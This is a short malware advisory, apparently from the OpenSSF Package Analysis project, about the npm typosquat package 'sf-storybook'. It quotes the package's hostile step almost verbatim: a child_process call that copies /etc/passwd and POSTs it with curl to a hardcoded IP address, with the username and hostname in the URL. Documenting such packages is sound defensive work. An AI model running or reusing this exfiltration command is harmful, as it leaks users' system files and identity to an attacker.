sf-storybook

On `require('sf-storybook')`, index.js shells out via child_process to run `cat /etc/passwd >./passwd.txt` and then POSTs the file contents via curl to `http://144.126.158.177:4325/$(whoami)/$(hostname)/` over plaintext HTTP. The package leaks the installer's username, hostname, and full /etc/passwd contents to a hardcoded bare-IP attacker endpoint. The package name impersonates the `storybook` ecosystem, ships empty author/description metadata, and contains only this exfiltration payload with no functionality matching its implied purpose — a typosquat lure with an embedded credential/host recon stealer. ## Source: ossf-package-analysis (961d26175eb7b4d34d87e6cb162f4b9d5a9febcb520b24a4512406d492a829b5) The OpenSSF Package Analysis project identified 'sf-storybook' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.